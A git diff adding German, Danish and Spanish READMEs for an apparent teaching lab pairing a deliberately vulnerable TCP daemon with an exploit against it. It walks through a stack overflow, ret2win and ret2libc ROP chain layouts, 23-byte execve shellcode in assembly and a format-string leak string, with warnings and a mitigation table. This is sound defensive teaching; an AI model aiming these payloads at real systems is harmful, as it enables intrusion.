Auf x86 löst das `#GP` aus, nicht `#PF`, +der Kernel hat also keine Fehleradresse und meldet `si_addr = 0`. Dieses NULL +ist der Hinweis: ein Ausrichtungsfehler, verkleidet als NULL-Deref. + +**Fix.** Ein `ret`-Gadget *bei Offset `rip_off`*, das das echte Ziel um 8 Bytes +nach oben verschiebt, denn jedes `ret` addiert exakt 8 auf `%rsp`. Die +Reihenfolge ist entscheidend: Eine frühere Version hängte das `ret` *hinter* +das Ziel an und erzeugte `[ padding | target | ret ]`, wo das abschließende +`ret` nie erreicht wird und der Fix still nichts tut. Ein versprengtes `ret`, +das wie ein Fehler aussieht, ist fast immer Absicht. + +### Ein Socket, zwei Leser: das verschwundene Byte + +**Symptom.** Shellcode wurde als funktionierend gemeldet. Dann wurde die +pty-Harness strenger gemacht (Abschalten von `ECHO`, sodass das Terminal seine +eigene Befehlszeile nicht mehr zurückspiegelte) und die Technik begann zu +scheitern. Im Kern ließ jede Technik exakt ein Byte vom Anfang jedes +Ausgabeblocks fallen: `uid=1000(hanez)` wurde zu `id=1000(hanez)` gedruckt, +`PWNED-OK` zu `WNED-OK`, `Linux 7.2.7` zu `inux 7.2.7`. + +**Ursache.** `fooc` pflegte den Socket per `dup2()` auf sein eigenes +stdin/stdout zu legen und eine *lokale* `/bin/sh` per `execv()` zu starten, +während ein geforktes Relay-Kind denselben Socket ebenfalls las, um die Ausgabe +zum Terminal zu befördern. Dem Kernel ist egal, dass die beiden kooperieren. Ein +Stream-Socket hat **einen** Read-Cursor, und jeder Leser bewegt ihn, sodass +Bytes unvorhersehbar zwischen ihnen aufgeteilt werden. Die lokale Shell las als +interaktive Login-Shell exakt ein Byte und verwarf es — bei jedem einzelnen +Mal. `strace -f` zeigte es sofort: + +``` +read(0, "u", 1) <- die lokale Shell, frisst ein Byte +read(4, "id=1000(hanez) gid=1000(hanez) g".., 310) <- das Relay, 1 Byte zu wenig +``` + +**Fix.** Auf dieser Seite gibt es überhaupt keine Shell. Es gibt genau eine +Shell im gesamten Bild, und sie ist auf dem Opfer, im übernommenen Prozess, mit +der TCP-Verbindung als stdin/stdout. Diese Seite bewegt nur Bytes. Wenn du je +zwei Konsumenten eines Streams brauchst, braucht dieser Stream einen einzigen +Leser, der ihn bewusst demultiplexiert. + +**Die Meta-Lektion.** Das erste „funktionierende" Ergebnis war ein +Fehlpositiv, das dadurch entstand, dass die pty die eigene Befehlszeile der +Harness zurückwarf, und der Fix für dieses Fehlpositiv ist es, der den echten +Bug bloßlegte. Tests, die nicht scheitern können, sind schlimmer als keine +Tests, weil sie „ich weiß es nicht" in „es funktioniert" verwandeln. Eine +Test-Harness verdient denselben Argwohn wie der Code, den sie testet. + +--- + +## Daran herumexperimentieren + +Dinge, die einen Versuch wert sind, ungefähr in der Reihenfolge, in der man +mehr lernt: + +1. **Ändere `FOOD_BUFSZ` auf 128.** Führe `fooc` erneut aus. Es sollte ohne + jede Änderung weiter funktionieren, weil es das Offset aus der Disassembly + liest. Brich es dann von Hand — härt 88 ein — und sieh zu, wie es abstürzt. + Füge dann zwischen `buf` und den gespeicherten Registern ein zweites Array + ein und beobachte, wie die automatische Erkennung es verkraftet. + +2. **Füge `-Wformat-security` hinzu und schau, was der Format-String-Pfad + tut.** Sende `%p %p %p %n` und beobachte, wie `food` den Stack leakt. + +3. **Nutze gdb.** `make debug`, dann: + ```gdb + (gdb) break food.c:393 # das read(), das überläuft + (gdb) run -p 2342 + (gdb) info registers rsp rbp + (gdb) x/24gx $rsp # beachte, wo die Rücksprungadresse liegt + (gdb) c # in einem anderen Terminal: ./fooc -t ret2win + ``` + Der `SIGSEGV`-Handler loggt `REG_RIP` und `REG_RSP`, sodass dir `food.log` + sagt, ob die Übernahme gelandet ist, selbst wenn das Kind stirbt, bevor du + dich anhängen kannst. + +4. **Lösche den Ausrichtungs-Fix** in `fooc.c` und beobachte den `#GP`-Fault + mit der `si_addr = 0`-Signatur. Lies dann + `/proc/sys/kernel/randomize_va_space` und denke darüber nach, was ASLR + randomisiert und was nicht. + +5. **Brich die libc-Symbolauflösung** und beobachte, wie `fooc` sich anpasst. + Der ganze Sinn des `/proc/self/maps`-Ansatzes ist, dass kein Offset hart + verdrahtet ist. + +6. **Schreibe eine vierte Technik.** Eine `ret2csu`-artige Kette, wenn du + `__libc_csu_init` findest, oder eine SROP-Kette (`sigreturn`-Frames lassen + dich alle Register gleichzeitig kontrollieren). Beides ist reines ROP und + braucht keinen ausführbaren Speicher. + +7. **Fixe `food.c` richtig**, Bug für Bug, und führe den Exploit nach jedem + Fix erneut aus. Die Reihenfolge in der Tabelle am Anfang von `food.c` ist + ungefähr die richtige Reihenfolge zum Nachdenken: begrenze zuerst das read, + denn nichts anderes zählt, bis der Bug weg ist. + +--- + +## Aufräumen + +```sh +make stop # stoppt food +make clean # entfernt Build-Produkte; lässt food.log in Ruhe +pkill -x sh # nur, wenn du streunende Shells aus einem schiefgelaufenen Test hast +``` + +Beachte: `pkill -x food` matcht den Prozess**namen** exakt. Verwende nicht +`pkill -f ./food` — dieses Muster matcht auch die Shell, in die du es getippt +hast, und tötet deine eigene Session. Das ist keine Hypothese; es ist beim Bau +dieses Labors passiert. \ No newline at end of file diff --git a/README.DK.md b/README.DK.md new file mode 100644 index 0000000..29e4144 --- /dev/null +++ b/README.DK.md @@ -0,0 +1,414 @@ +# food / fooc — et stack-bufferoverløb, fra begge sider + +Et C99-sikkerhedslaboratorium i to halvdele: + +- **`food.c`** — en bevidst sårbar TCP-daemon. Den har et ægte, + lærebogsagtigt stack-bufferoverløb (CWE-120) og et par fejl oveni. +- **`fooc.c`** — et exploit til den. Det beregner overflow-offsettet ved at + disassemblere target-programmet ved kørsel, læser adresse-leaks fra daemonen + og får en shell på "offeret" ved at overskrive en gemt returadresse. + +Pointen er ikke shellen. Pointen er, at du kan følge med hele vejen, hvordan +en hukommelsessikkerhedsfejl bliver til vilkårlig kodeudførelse — og derefter +se præcist, hvilke modforanstaltninger der stopper hvert trin i den kæde. Hver +linje i begge programmer er kommenteret, fordi mekanismen er lektionen. + +``` + din terminal + | + ./fooc (exploit) + | + TCP 127.0.0.1:2342 + | + ./food (sårbar daemon) + | + fork() -> vulnerable_handler() -> overflow -> ret -> din kode +``` + +--- + +## ⚠️ Læs dette først + +**`food` er en bevidst ødelagt netværkstjeneste. Den binder kun til +`127.0.0.1`, og den standard er bevidst — lad den være der.** + +- Kør den **ikke** på en maskine, du holder af, eller på noget med data på. +- Bind den **ikke** til `0.0.0.0` eller en rigtig netværksgrænseflade. Den er + bevidst eksternt udnyttelig. +- At rette `fooc` mod en host, du ikke ejer eller ikke har skriftlig tilladelse + til at teste, er en computerindbrudsforseelse i de fleste jurisdiktioner — + også efter UK Computer Misuse Act og US Computer Fraud and Abuse Act. +- Den binder til en uprivilegeret port (>1024), så du behøver ikke root. Forbedr + den ikke ved at tilføje capabilities eller køre den som systemtjeneste. +- Hver forbindelse håndteres i et `fork()`et barn, og `food` reaper det, så + nedbrud hober sig ikke op. Hvis du bagefter finder dusinvis af strejfende + `sh`-processer, er `pkill -x sh` oprydningen. + +I tvivlstilfælde: Dette laboratorium er til en virtuel maskine eller container, +på et netværk du kontrollerer, på en maskine uden noget, du ville savne. + +--- + +## Hurtig start + +```sh +make # bygger food, fooc og test-harnessene +make run # starter food på 127.0.0.1:2342, frakoblet i baggrunden +make test # kører alle tre exploit-teknikker +make stop # stopper daemonen +``` + +Derefter i hånden: + +```sh +./fooc -t leak # se de adresse-leaks, food udleverer +./fooc -t demo -v # send junk; se food dø med SIGSEGV +./fooc -t ret2win -i # hop til en funktion, der allerede findes -> shell +``` + +### Krav + +| Værktøj | Hvortil | Bemærkninger | +|---|---|---| +| `gcc` (eller clang) | bygning | C99. Testet med gcc 16.2 | +| `objdump` | `fooc` | binutils. `fooc` kalder det ved kørsel | +| `nasm` | `make verify` | kun til at krydstjekke shellcoden; springes over, hvis ikke til stede | +| `gdb` | `make debug` | valgfrit | +| Linux, x86-64 | begge | payload og gadget-jagt er arkitekturafhængige | + +`fooc` har også brug for `-ldl` til `dlsym()`; Makefile'et klarer det. + +--- + +## Fejlen + +Én linje i `food.c` er hele angrebsfladen: + +```c +char buf[FOOD_BUFSZ]; /* 64 bytes */ +n = read(fd, buf, FOOD_READMAX); /* op til 512 bytes fra netværket */ +``` + +64 bytes destination, 512 bytes accepteret. Angriberen overskriver 448 bytes +forbi enden af bufferen, og fordi stacken vokser nedad, betyder "forbi enden" +"ind i det ovenstående frame" — og det er præcis der, den gemte +framepointer og den **gemte returadresse** ligger. + +I en kompileret x86-64-funktion ved `-O0`: + +``` + høje adresser + +------------------------+ rbp + 16 : callerens lokale + | ... | + +------------------------+ rbp + 8 : GEMT RETURADRESSE <-- bliver til RIP + | saved rbp (8 bytes) | + +------------------------+ rbp : vores framepointer + | line[128] | + | buf[64] | <- rsp: det, read() fylder + +------------------------+ + lave adresser +``` + +Når funktionen returnerer, popper `leave; ret` de 8 bytes ind i `RIP`, og CPU'en +hopper, hvor angriberen har bestemt. Alt andet i dette laboratorium er +aritmetik om, hvorhen der skal peges. + +For denne build er tallene: `buf` er 64 bytes, det gemte `rbp` er 8, så +returadressen ligger på offset **88** fra starten af `buf`. `fooc` hardkoder +ikke det — det disassemblerer `food` og finder `lea -0x50(%rbp)` foran +`call read@plt`, så det fortsat virker, hvis du ændrer `FOOD_BUFSZ`. + +> gcc fortæller dig allerede om det. At bygge `food` printer: +> `warning: 'read' writing 512 bytes into a region of size 64 overflows the +> destination [-Wstringop-overflow=]`. Undertryk aldrig den advarsel i ægte +> kode. Den er gratis sikkerhed. + +--- + +## De tre teknikker + +`fooc -t `. De står i den rækkefølge, en ægte angriber ville +arbejde sig igennem dem, fordi hver enkelt har brug for det, den forrige lærte +dig. + +### 1. `ret2win` — kontrollér instruktionsmarkøren + +``` +[ 88 bytes junk ][ adressen på food's win() ] + ^ saved rbp + ^ bliver til RIP +``` + +`win()` er en funktion i target-programmet, der exec'er `/bin/sh`. At +overskrive returadressen med dens adresse er hele exploitet. + +**Hvad det lærer:** du har vilkårlig kontrol over instruktionsmarkøren. Det +kræver heller ikke noget leak, fordi binærfilen er bygget `-no-pie`, så `win()` +sidder på en fast adresse for evigt. + +**Den virkelige verdens ækvivalent** er ikke "angreb er nemme", men "skib ikke +udokumenterede bagdøre i netværks-binærfiler". Hvis en funktion som `win()` +findes i din binærfil, vil et bufferoverløb finde den. Det er bogstaveligt talt +Juniper ScreenOS-bagdør-CVE-klassen. + +**Forsvar:** `-fPIE` (eller ASLR) randomiserer load-adressen, så angriberen må +kende adressen — hvilket som regel betyder, at de først har brug for et leak. +Derfor fejler `ret2win` mod `food_hardened`. + +### 2. `ret2libc` — kald hvad som helst, ved navn + +``` +[ junk ][ pop rdi; ret ][ adressen på "/bin/sh" ][ adressen på system() ] + ^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^ + sætter rdi strengen at sende funktionen at kalde +``` + +Ved udførelse: `ret` popper `pop rdi; ret` ind i RIP; det popper +`"/bin/sh"`-pointeren ind i `RDI`; dets `ret` popper `system()` ind i RIP, mens +`RDI` stadig holder strengen. `system("/bin/sh")` kører. + +Gadgets (`pop rdi; ret`) er ikke i `food` — denne glibc har intet +`__libc_csu_init` — så `fooc` finder dem ved at scanne live libc-hukommelse +efter byteparret `5f c3`. Det lokaliserer libc via `/proc/self/maps`, finder +offsets for `system` og `"/bin/sh"` med `dlsym()` og beregner basen ud fra det +leak, `food` offentliggør. Intet er hardkodet, så det overlever en +libc-opdatering. + +**Hvad det lærer:** når du først kan kontrollere `RIP`, kan du kæde +*eksisterende* instruktioner sammen. Det er return-oriented programming, og det +er sådan næsten alle virkelige exploits ser ud, fordi det ikke kræver +angriberleveret eksekverbar hukommelse. + +**Forsvar:** ingen af compiler-flagene stopper det alene. Det virker mod en +PIE-binærfil, med NX, med canary — så længe angriberen har et leak. +Forsvarene er "hav ikke overløbet" og "læk ikke adresser". Se tabellen nedenfor. + +### 3. `shellcode` — kør din egen maskinkode + +23 bytes, placeret i starten af bufferen, med `RIP` pegende på dem: + +```asm +xor esi, esi ; envp = NULL +xor edx, edx ; argv = NULL +movabs rdi, 0x68732f6e69622f ; rdi = "/bin/sh\0" som 8 rå bytes +push rdi ; læg strengen på stacken +mov rdi, rsp ; rdi = &"/bin/sh" +push 0x3b ; 59 = __NR_execve +pop rax +syscall ; vi er nu en shell +``` + +Det er den reneste form for fejlen: angriberen leverer *instruktionerne*, ikke +bare adressen på instruktioner, der allerede findes. Ingen libc-offsets +nødvendige, så det virker i princippet mod et statisk linket, fuldt +randomiseret target. + +`make verify` assemblerer `shellcode.S` og diff'er det mod byte-arrayet, der er +indlejret i `fooc.c`, så de to ikke kan drive fra hinanden. + +**Forsvar:** **NX** (også kaldet W^X, "no execute"). At markere stacken som +ikke-eksekverbar får hardwaren til at nægte at hente instruktioner fra den, og +`ret`-et lander på en side, der ikke kan køre. Det er derfor `make food` +giver `-z execstack`: en normal Linux-stack er `rw-p`, ikke `rwx`, og teknikken +dør med SIGSEGV ved `RIP = payloadens adresse`. Den absolut vigtigste lektion i +laboratoriet er, at hver eneste af disse bytes kun virker, fordi compileren fik +besked på at lade stacken være eksekverbar. Det flag er tændt til gavn for +ingen. + +### Også inkluderet + +| Tilstand | Hvad den gør | +|---|---| +| `-t leak` | forbinder, printer leaks, sender intet | +| `-t demo` | sender `rip_off + 8` bytes `0x41`, så `RIP` bliver `0x4141...` og daemonen dør. Beviser fejlen helt uden adresseviden | +| `-t sled` | et ret-sled, bevidst beholdt som et **fejlende** eksempel. Uden et leak ville du brute-force ASLR ved at fylde bufferen med adressen på et `ret`. Det kan ikke virke her: `food` accepterer 512 bytes, så sleden har ~53 slots mod ~28 bit entropi. Implementeret, så du kan se det fejle og bekræfte, at mekanismen virkelig er "CPU'en følger en kæde af rets" | + +--- + +## Tabellen over modforanstaltninger + +Det er den del, man skal huske. Hver række er et ægte forsvar, og højre kolonne +viser, hvad den rent faktisk gør ved begivenhedskæden. + +| Modforanstaltning | Sådan aktiveres | Hvad den stopper | Hvad den *ikke* stopper | +|---|---|---|---| +| **Begræns read** | `n = read(fd, buf, sizeof buf - 1);` | **Alt.** Fejlen findes ikke, så intet nedstrøms betyder noget | Intet — det er den eneste fuldstændige fix | +| **Stack-canary** | `-fstack-protector-strong` (gccs standard) | `ret`-et: canaryen tjekkes ved funktionens afslutning, så smadringen opdages, og processen abort'er, før `RIP` poppes | En fejl i en funktion *uden* array (intet at beskytte); et overflow, der holder sig under canaryen; alt, der ikke returnerer normalt | +| **NX / W^X** | `-z noexecstack` (standarden) | Shellcode. Payloadens egne instruktioner kan ikke hentes | ret2win og ret2libc fuldstændigt. De er *grunden* til, at ROP findes | +| **PIE + ASLR** | `-fPIE` + ASLR=2 (begge standard) | ret2wins hardkodede adresser. Alt flytter sig ved hver kørsel | Alt, hvor angriberen har et leak. ASLR hæver prisen på et exploit; det er ikke en fix. Bemærk, at stack, heap og mmap randomiseres, men hoved-binærfilens *indhold* gør ikke — det er det, ROP-kæder bruger | +| **Læk ikke** | ingen `printf("%p")` til klienter; initialisér før du printer | Det informationsleak, der gør ASLR til "gratis" i stedet for "dyrt" | — | +| **Brug ikke `printf(user_data)`** | `printf("%s", buf)` i stedet for `printf(buf)` | Format-string-fejl: `%x`-stack-reads, `%n`-vilkårlige skrivninger, hvilket er en *anden* vej til RCE | — | +| **Brug ikke utroverdige stier** | validér og `openat()` under en fast mappe | Sti-traversal (CWE-22) | — | +| **CET / shadow stack** | `-fcf-protection=full`, kernel- og CPU-understøttelse | `ret`-et selv: shadow stacken husker den *rigtige* returadresse og fault'er ved mismatch. Fanger ROP-kæder, der bruger hardware-`ret` | Angreb, der aldrig `ret` (call-oriented, eller at overskrive en funktionspegers mål med en gadget-kæde, der ikke behøver en retur) | +| **Sikre sprog** | Rust, Go, C# til ny kode | Hele klassen. Bounds-tjek udføres ved kørsel, ikke håbet på ved review | — | + +### Se det selv + +```sh +make run # sårbar daemon +make test # alle tre teknikker virker + +make test-hardened # samme kildekode, modforanstaltninger på +``` + +`test-hardened` bygger `food_hardened` med `-fstack-protector-strong -fPIE -pie +-z noexecstack`, bytter den ind, kører alle tre igen og lægger derefter den +sårbare tilbage. Du vil se: + +``` +### stack segment: 'rw-p' (NOT executable) is what you want to see +--- ret2win was stopped by the mitigations (as expected) +--- ret2libc was stopped by the mitigations (as expected) +--- shellcode was stopped by the mitigations (as expected) +``` + +Og i den hærdede daemons log, canaryen der udløses: + +``` +*** stack smashing detected ***: terminated +``` + +Læs det grundigt, for det er den vigtigste linje i hele laboratoriet: **canaryen +fangede ret2win, ikke PIE.** Alle tre teknikker dør ved canaryen, fordi alle tre +går gennem det samme `read()` og smadrer den samme frame. NX stopper kun +yderligere shellcodens *kode*; PIE bryder kun yderligere den hardkodede adresse. +Tænd dem enkeltvis, og du vil opdage, at de fleste enkelte modforanstaltninger +efterlader dig udsat over for noget. + +--- + +## Filer + +| Fil | Formål | +|---|---| +| `food.c` | den sårbare daemon. 6 nummererede fejl, hver med sin fix i kommentaren | +| `fooc.c` | exploitet. objdump-baseret offseterkendelse, `/proc`-baseret libc-erkendelse, 4 payload-buildere | +| `shellcode.S` | de 23 shellcode-bytes som assembly, så de kan læses og verificeres. `fooc` bærer dem inline og behøver ikke dette ved kørsel | +| `Makefile` | bygger, tester og den hærdede sammenligning | +| `tests/pty_test.c` | driver `fooc` gennem et pseudo-terminal og tjekker for ægte shell-output | +| `tests/sock_test.c` | uafhængig verifikator over en rå socket, så resultatet ikke afhænger af `fooc` | +| `food.log` | daemonens log. Dit bevis på, hvad der skete | + +--- + +## To fejl i dette laboratorium, der er værd at forstå + +Det er ikke target-programmets fejl. Det er fejl i exploitet og i dets +test-harness, og begge producerede overbevisende løgne. De er dokumenteret i +kilden, hvor de bor; her står de, fordi fiaskomønstrene er lærerige. + +### Stack-justering: nedbruddet, der ikke er en NULL-dereference + +**Symptom.** Kapringen lander korrekt — `gdb` viser dig i `win()` — og så dør +det allerførste, `win()` gør, et `dprintf()`. `SIGSEGV`-handleren rapporterer +`RIP` dybt inde i glibcs formatter og en fejladresse på `(nil)`, hvilket ser +præcis ud som en korrupt pointer. + +**Årsag.** System V AMD64-ABI'en kræver 16-byte stack-justering. Et normalt +`ret` genskaber `%rsp` præcis som det tilsvarende `call` gemte det, så +invarianten bevares gratis. Vores nøgne `ret` gør ikke: efter det gælder +`%rsp = buf + rip_off`. Her er `buf` 16-byte justeret og `rip_off` er 88, så +callee'en får en stack, der er 8 mod 16. glibc er kompileret med SSE2, og +`movaps` **fault'er** ved et fejljusteret operand. På x86 rejser det `#GP`, ikke +`#PF`, så kernen har ingen fejladresse og rapporterer `si_addr = 0`. Det NULL +er fingerpeg: en justeringsfejl forklædt som en NULL-dereference. + +**Fix.** Et `ret`-gadget *ved offset `rip_off`*, der flytter det rigtige target +8 bytes op, fordi hvert `ret` lægger præcis 8 til `%rsp`. Rækkefølgen er +kritisk: en tidligere version hæftede `ret`-et *efter* target og producerede +`[ padding | target | ret ]`, hvor det afsluttende `ret` aldrig nås, og fixen +stille og roligt intet gør. Et vildfarent `ret`, der ligner en fejl, er næsten +altid bevidst. + +### Én socket, to læsere: det byte, der forsvandt + +**Symptom.** Shellcode blev rapporteret som fungerende. Derefter blev +pty-harnessen gjort strengere (slukning af `ECHO`, så terminalen holdt op med at +ekko harnessens egen kommandolinje tilbage til sig selv), og teknikken begyndte +at fejle. Dybere set tabte hver teknik præcis ét byte fra starten af hver +udgangschunk: `uid=1000(hanez)` blev printet som `id=1000(hanez)`, `PWNED-OK` +som `WNED-OK`, `Linux 7.2.7` som `inux 7.2.7`. + +**Årsag.** `fooc` plejede at `dup2()`e socket'en på sit eget stdin/stdout og +`execv()`e en *lokal* `/bin/sh`, mens et forket relay-barn også læste den samme +socket for at flytte output til terminalen. Kernen er ligeglad med, at de to +samarbejder. En streamsocket har **én** læse-cursor, og hver læser flytter den, +så bytes deles uforudsigeligt mellem dem. Den lokale shell, der er en +interaktiv login-shell, læste præcis ét byte og smed det væk — hver eneste +gang. `strace -f` viste det øjeblikkeligt: + +``` +read(0, "u", 1) <- den lokale shell, æder et byte +read(4, "id=1000(hanez) gid=1000(hanez) g".., 310) <- relay'et, 1 byte for kort +``` + +**Fix.** Der er slet ingen shell på denne side. Der er præcis én shell i hele +billedet, og den er på offeret, inde i den kaprede proces, med +TCP-forbindelsen som dens stdin/stdout. Denne side flytter kun bytes. Hvis du +nogensinde har brug for to forbrugere af en stream, skal den stream have én +eneste læser, der bevidst demultiplekser den. + +**Meta-lektionen.** Det første "fungerende" resultat var et falsk positivt, +produceret af at pty'en ekkoede harnessens egen kommandolinje tilbage til den, +og fixen for det falske positive er det, der afslørede den rigtige fejl. Tests, +der ikke kan fejle, er værre end ingen tests, fordi de forvandler "jeg ved +ikke" til "det virker". En test-harness fortjener samme mistænksomhed som den +kode, den tester. + +--- + +## At pille ved det + +Ting, der er værd at prøve, nogenlunde i den rækkefølge, du lærer mest af dem: + +1. **Ændr `FOOD_BUFSZ` til 128.** Kør `fooc` igen. Det burde stadig virke uden + ændringer, fordi det læser offset ud af disassembly'en. Bræk det så i + hånden — hardkod 88 — og se det crashe. Tilføj derefter et andet array + mellem `buf` og de gemte registre, og se den automatiske erkendelse klare + det. + +2. **Tilføj `-Wformat-security` og se, hvad format-string-stien gør.** Send + `%p %p %p %n` og se `food` lække stacken. + +3. **Brug gdb.** `make debug`, derefter: + ```gdb + (gdb) break food.c:393 # det read(), der løber over + (gdb) run -p 2342 + (gdb) info registers rsp rbp + (gdb) x/24gx $rsp # bemærk, hvor returadressen ligger + (gdb) c # i et andet terminal: ./fooc -t ret2win + ``` + `SIGSEGV`-handleren logger `REG_RIP` og `REG_RSP`, så `food.log` fortæller + dig, om kapringen landede, selv når barnet dør, før du kan koble på. + +4. **Slet justeringsfixen** i `fooc.c` og se `#GP`-fejlen med + `si_addr = 0`-signaturen. Læs derefter `/proc/sys/kernel/randomize_va_space` + og tænk over, hvad ASLR randomiserer, og hvad det ikke gør. + +5. **Bræk libc-symbolopløsningen** og se `fooc` tilpasse sig. Hele pointen med + `/proc/self/maps`-tilgangen er, at intet offset er hardkodet. + +6. **Skriv en fjerde teknik.** En `ret2csu`-lignende kæde, hvis du kan finde + `__libc_csu_init`, eller en SROP-kæde (`sigreturn`-frames lader dig + kontrollere alle registre på én gang). Begge er rent ROP og behøver ingen + eksekverbar hukommelse. + +7. **Fix `food.c` ordentligt**, én fejl ad gangen, og kør exploitet igen efter + hver fix. Rækkefølgen i tabellen øverst i `food.c` er nogenlunde den rigtige + rækkefølge at tænke i: begræns først read'et, for intet andet betyder noget, + før fejlen er væk. + +--- + +## Oprydning + +```sh +make stop # stopper food +make clean # fjerner build-produkter; lader food.log være i fred +pkill -x sh # kun hvis du har strejfende shells fra en test, der gik skævt +``` + +Bemærk: `pkill -x food` matcher proces**navnet** præcist. Brug ikke +`pkill -f ./food` — det mønster matcher også den shell, du har skrevet det i, +og dræber din egen session. Det er ikke en hypotese; det skete, mens dette +laboratorium blev bygget. \ No newline at end of file diff --git a/README.ES.md b/README.ES.md new file mode 100644 index 0000000..7903064 --- /dev/null +++ b/README.ES.md @@ -0,0 +1,426 @@ +# food / fooc — un desbordamiento de búfer de pila, desde ambos lados + +Un laboratorio de seguridad en C99 en dos mitades: + +- **`food.c`** — un demonio TCP deliberadamente vulnerable. Tiene un + desbordamiento de búfer de pila real, de libro de texto (CWE-120), más un par + de errores de propina. +- **`fooc.c`** — un exploit contra él. Calcula el offset del desbordamiento + desensamblando el programa objetivo en tiempo de ejecución, lee las fugas de + direcciones del demonio y consigue un shell en la "víctima" sobrescribiendo + una dirección de retorno guardada. + +El punto no es el shell. El punto es que puedas seguir de principio a fin cómo +un error de seguridad de memoria se convierte en ejecución de código arbitrario +— y después ver exactamente qué mitigaciones detienen cada eslabón de esa +cadena. Cada línea de ambos programas está comentada, porque el mecanismo es la +lección. + +``` + tu terminal + | + ./fooc (exploit) + | + TCP 127.0.0.1:2342 + | + ./food (demonio vulnerable) + | + fork() -> vulnerable_handler() -> overflow -> ret -> tu código +``` + +--- + +## ⚠️ Lee esto primero + +**`food` es un servicio de red deliberadamente roto. Solo se enlaza a +`127.0.0.1`, y ese valor por defecto es deliberado — déjalo así.** + +- **No** lo ejecutes en una máquina que te importe, ni en nada que contenga + datos. +- **No** lo enlaces a `0.0.0.0` ni a una interfaz de red real. Está + deliberadamente diseñado para ser explotable de forma remota. +- Apuntar `fooc` a un host que no posees o para el que no tienes permiso + escrito de prueba es un delito informático en la mayoría de las + jurisdicciones — también bajo la UK Computer Misuse Act y la US Computer + Fraud and Abuse Act. +- Se enlaza a un puerto no privilegiado (>1024), así que no necesitas root. No + lo "mejores" añadiendo capabilities o ejecutándolo como servicio del sistema. +- Cada conexión se gestiona en un hijo `fork()`, y `food` hace reap de él, así + que los crashes no se acumulan. Si luego encuentras docenas de `sh` + sueltos, `pkill -x sh` es la limpieza. + +En caso de duda: este laboratorio es para una máquina virtual o un contenedor, +en una red que tú controlas, en una máquina sin nada que echaras de menos. + +--- + +## Inicio rápido + +```sh +make # compila food, fooc y los harness de prueba +make run # arranca food en 127.0.0.1:2342, desacoplado en segundo plano +make test # ejecuta las tres técnicas de exploit +make stop # detiene el demonio +``` + +Después, a mano: + +```sh +./fooc -t leak # mira las fugas de direcciones que food revela +./fooc -t demo -v # envía basura; ve morir a food con SIGSEGV +./fooc -t ret2win -i # salta a una función que ya existe -> shell +``` + +### Requisitos + +| Herramienta | Para qué | Notas | +|---|---|---| +| `gcc` (o clang) | compilar | C99. Probado con gcc 16.2 | +| `objdump` | `fooc` | binutils. `fooc` lo invoca en tiempo de ejecución | +| `nasm` | `make verify` | solo para contrastar el shellcode; se omite si falta | +| `gdb` | `make debug` | opcional | +| Linux, x86-64 | ambos | el payload y la caza de gadgets dependen de la arquitectura | + +`fooc` también necesita `-ldl` para `dlsym()`; el Makefile lo gestiona. + +--- + +## El bug + +Una línea en `food.c` es toda la superficie de ataque: + +```c +char buf[FOOD_BUFSZ]; /* 64 bytes */ +n = read(fd, buf, FOOD_READMAX); /* hasta 512 bytes de la red */ +``` + +64 bytes de destino, 512 aceptados. El atacante sobrescribe 448 bytes más allá +del final del búfer, y como la pila crece hacia abajo, "más allá del final" +significa "dentro del marco superior" — y ahí es exactamente donde están el +puntero de marco guardado y la **dirección de retorno guardada**. + +En una función x86-64 compilada a `-O0`: + +``` + direcciones altas + +------------------------+ rbp + 16 : locales de la llamadora + | ... | + +------------------------+ rbp + 8 : DIRECCIÓN DE RETORNO GUARDADA <-- se vuelve RIP + | saved rbp (8 bytes) | + +------------------------+ rbp : nuestro puntero de marco + | line[128] | + | buf[64] | <- rsp: lo que read() llena + +------------------------+ + direcciones bajas +``` + +Cuando la función retorna, `leave; ret` hace pop de los 8 bytes en `RIP`, y la +CPU salta donde el atacante ha decidido. Todo lo demás en este laboratorio es +aritmética sobre hacia dónde apuntar. + +Para esta compilación, los números son: `buf` mide 64 bytes, el `rbp` guardado +mide 8, así que la dirección de retorno está en el offset **88** desde el +inicio de `buf`. `fooc` no hardcodea eso — desensambla `food` y encuentra el +`lea -0x50(%rbp)` delante de `call read@plt`, así que sigue funcionando si +cambias `FOOD_BUFSZ`. + +> gcc ya te lo dice. Compilar `food` imprime: +> `warning: 'read' writing 512 bytes into a region of size 64 overflows the +> destination [-Wstringop-overflow=]`. Nunca silencies esa advertencia en +> código real. Es seguridad gratuita. + +--- + +## Las tres técnicas + +`fooc -t `. Están en el orden en que un atacante real trabajaría en +ellas, porque cada una necesita lo que la anterior te enseñó. + +### 1. `ret2win` — controla el puntero de instrucción + +``` +[ 88 bytes de basura ][ la dirección del win() de food ] + ^ saved rbp + ^ se vuelve RIP +``` + +`win()` es una función del programa objetivo que hace exec de `/bin/sh`. +Sobrescribir la dirección de retorno con su dirección es todo el exploit. + +**Lo que enseña:** tienes control arbitrario del puntero de instrucción. +Tampoco necesita fuga, porque el binario está compilado con `-no-pie`, así que +`win()` está en una dirección fija para siempre. + +**El equivalente del mundo real** no es "los ataques son fáciles", sino "no +envíes backdoors no documentadas en binarios de red". Si existe una función +como `win()` en tu binario, un desbordamiento de búfer la encontrará. Es +literalmente la clase de CVE de backdoor de Juniper ScreenOS. + +**Defensa:** `-fPIE` (o ASLR) randomiza la dirección de carga, así que el +atacante debe conocer la dirección — lo que normalmente significa que primero +necesita una fuga. Por eso `ret2win` falla contra `food_hardened`. + +### 2. `ret2libc` — llama a lo que sea, por su nombre + +``` +[ basura ][ pop rdi; ret ][ dirección de "/bin/sh" ][ dirección de system() ] + ^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^ + pone rdi la cadena a enviar la función a llamar +``` + +En ejecución: `ret` hace pop de `pop rdi; ret` en RIP; eso hace pop del puntero +`"/bin/sh"` en `RDI`; su `ret` hace pop de `system()` en RIP, mientras `RDI` +sigue sosteniendo la cadena. `system("/bin/sh")` se ejecuta. + +Los gadgets (`pop rdi; ret`) no están en `food` — esta glibc no tiene +`__libc_csu_init` — así que `fooc` los encuentra escaneando la memoria viva de +libc en busca del par de bytes `5f c3`. Localiza libc vía `/proc/self/maps`, +encuentra los offsets de `system` y `"/bin/sh"` con `dlsym()` y calcula la base +a partir de la fuga que `food` divulga. Nada está hardcodeado, así que +sobrevive a una actualización de libc. + +**Lo que enseña:** una vez que puedes controlar `RIP`, puedes encadenar +instrucciones *existentes*. Eso es return-oriented programming, y así se ven +casi todos los exploits reales, porque no requiere memoria ejecutable provista +por el atacante. 